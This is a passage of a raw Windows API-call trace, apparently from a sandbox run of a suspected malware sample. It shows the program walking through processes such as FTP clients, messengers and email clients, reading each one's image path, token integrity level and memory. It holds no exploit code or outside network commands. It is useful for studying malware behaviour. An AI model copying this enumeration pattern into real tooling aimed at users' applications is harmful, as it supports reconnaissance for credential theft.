VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.303] QueryFullProcessImageNameW (in: hProcess=0x260, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\pidgin.exe", lpdwSize=0x174fa50) returned 1 [0075.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.304] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.304] IsWow64Process (in: hProcess=0x260, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.304] NtQueryInformationProcess (in: ProcessHandle=0x260, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.304] GetProcessTimes (in: hProcess=0x260, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.304] OpenProcessToken (in: ProcessHandle=0x260, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.304] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.304] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.304] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.304] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.304] NtClose (Handle=0x2e8) returned 0x0 [0075.304] NtQueryVirtualMemory (in: ProcessHandle=0x260, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.304] NtQueryVirtualMemory (in: ProcessHandle=0x260, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.315] QueryFullProcessImageNameW (in: hProcess=0x264, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\scriptftp.exe", lpdwSize=0x174fa50) returned 1 [0075.316] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.316] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.316] IsWow64Process (in: hProcess=0x264, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.316] NtQueryInformationProcess (in: ProcessHandle=0x264, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.316] GetProcessTimes (in: hProcess=0x264, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.316] OpenProcessToken (in: ProcessHandle=0x264, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.316] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.316] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.316] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.316] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.316] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.316] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.316] NtClose (Handle=0x2e8) returned 0x0 [0075.316] NtQueryVirtualMemory (in: ProcessHandle=0x264, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.316] NtQueryVirtualMemory (in: ProcessHandle=0x264, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.327] QueryFullProcessImageNameW (in: hProcess=0x268, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\skype.exe", lpdwSize=0x174fa50) returned 1 [0075.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.327] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.327] IsWow64Process (in: hProcess=0x268, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.327] NtQueryInformationProcess (in: ProcessHandle=0x268, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.327] GetProcessTimes (in: hProcess=0x268, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.327] OpenProcessToken (in: ProcessHandle=0x268, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.327] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.327] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.328] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.328] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.328] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.328] NtClose (Handle=0x2e8) returned 0x0 [0075.328] NtQueryVirtualMemory (in: ProcessHandle=0x268, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.328] NtQueryVirtualMemory (in: ProcessHandle=0x268, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.339] QueryFullProcessImageNameW (in: hProcess=0x26c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\smartftp.exe", lpdwSize=0x174fa50) returned 1 [0075.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.339] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.339] IsWow64Process (in: hProcess=0x26c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.339] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.339] GetProcessTimes (in: hProcess=0x26c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.339] OpenProcessToken (in: ProcessHandle=0x26c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.340] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.340] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.340] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.340] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.340] NtClose (Handle=0x2e8) returned 0x0 [0075.340] NtQueryVirtualMemory (in: ProcessHandle=0x26c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.340] NtQueryVirtualMemory (in: ProcessHandle=0x26c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.351] QueryFullProcessImageNameW (in: hProcess=0x270, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Firefox\\thunderbird.exe", lpdwSize=0x174fa50) returned 1 [0075.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.352] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.352] IsWow64Process (in: hProcess=0x270, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.352] NtQueryInformationProcess (in: ProcessHandle=0x270, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.352] GetProcessTimes (in: hProcess=0x270, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.352] OpenProcessToken (in: ProcessHandle=0x270, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.352] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.352] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.352] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.352] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.352] NtClose (Handle=0x2e8) returned 0x0 [0075.352] NtQueryVirtualMemory (in: ProcessHandle=0x270, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.352] NtQueryVirtualMemory (in: ProcessHandle=0x270, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.363] QueryFullProcessImageNameW (in: hProcess=0x274, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft Sync Framework\\totalcmd.exe", lpdwSize=0x174fa50) returned 1 [0075.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.363] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.363] IsWow64Process (in: hProcess=0x274, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.363] NtQueryInformationProcess (in: ProcessHandle=0x274, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.363] GetProcessTimes (in: hProcess=0x274, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.363] OpenProcessToken (in: ProcessHandle=0x274, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.364] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.364] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.364] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.364] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.364] NtClose (Handle=0x2e8) returned 0x0 [0075.364] NtQueryVirtualMemory (in: ProcessHandle=0x274, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.364] NtQueryVirtualMemory (in: ProcessHandle=0x274, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.375] QueryFullProcessImageNameW (in: hProcess=0x278, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Google\\trillian.exe", lpdwSize=0x174fa50) returned 1 [0075.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.375] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.375] IsWow64Process (in: hProcess=0x278, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.375] NtQueryInformationProcess (in: ProcessHandle=0x278, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.375] GetProcessTimes (in: hProcess=0x278, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.375] OpenProcessToken (in: ProcessHandle=0x278, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.375] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.375] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.375] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.375] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.375] NtClose (Handle=0x2e8) returned 0x0 [0075.375] NtQueryVirtualMemory (in: ProcessHandle=0x278, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.375] NtQueryVirtualMemory (in: ProcessHandle=0x278, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.386] QueryFullProcessImageNameW (in: hProcess=0x27c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Reference Assemblies\\webdrive.exe", lpdwSize=0x174fa50) returned 1 [0075.387] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.387] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.387] IsWow64Process (in: hProcess=0x27c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.387] NtQueryInformationProcess (in: ProcessHandle=0x27c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.387] GetProcessTimes (in: hProcess=0x27c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.387] OpenProcessToken (in: ProcessHandle=0x27c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.387] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.387] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.387] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.387] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.387] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.387] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.387] NtClose (Handle=0x2e8) returned 0x0 [0075.387] NtQueryVirtualMemory (in: ProcessHandle=0x27c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.387] NtQueryVirtualMemory (in: ProcessHandle=0x27c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.398] QueryFullProcessImageNameW (in: hProcess=0x280, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\whatsapp.exe", lpdwSize=0x174fa50) returned 1 [0075.398] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.398] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.398] IsWow64Process (in: hProcess=0x280, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.398] NtQueryInformationProcess (in: ProcessHandle=0x280, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.398] GetProcessTimes (in: hProcess=0x280, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.398] OpenProcessToken (in: ProcessHandle=0x280, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.398] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.398] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.399] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, 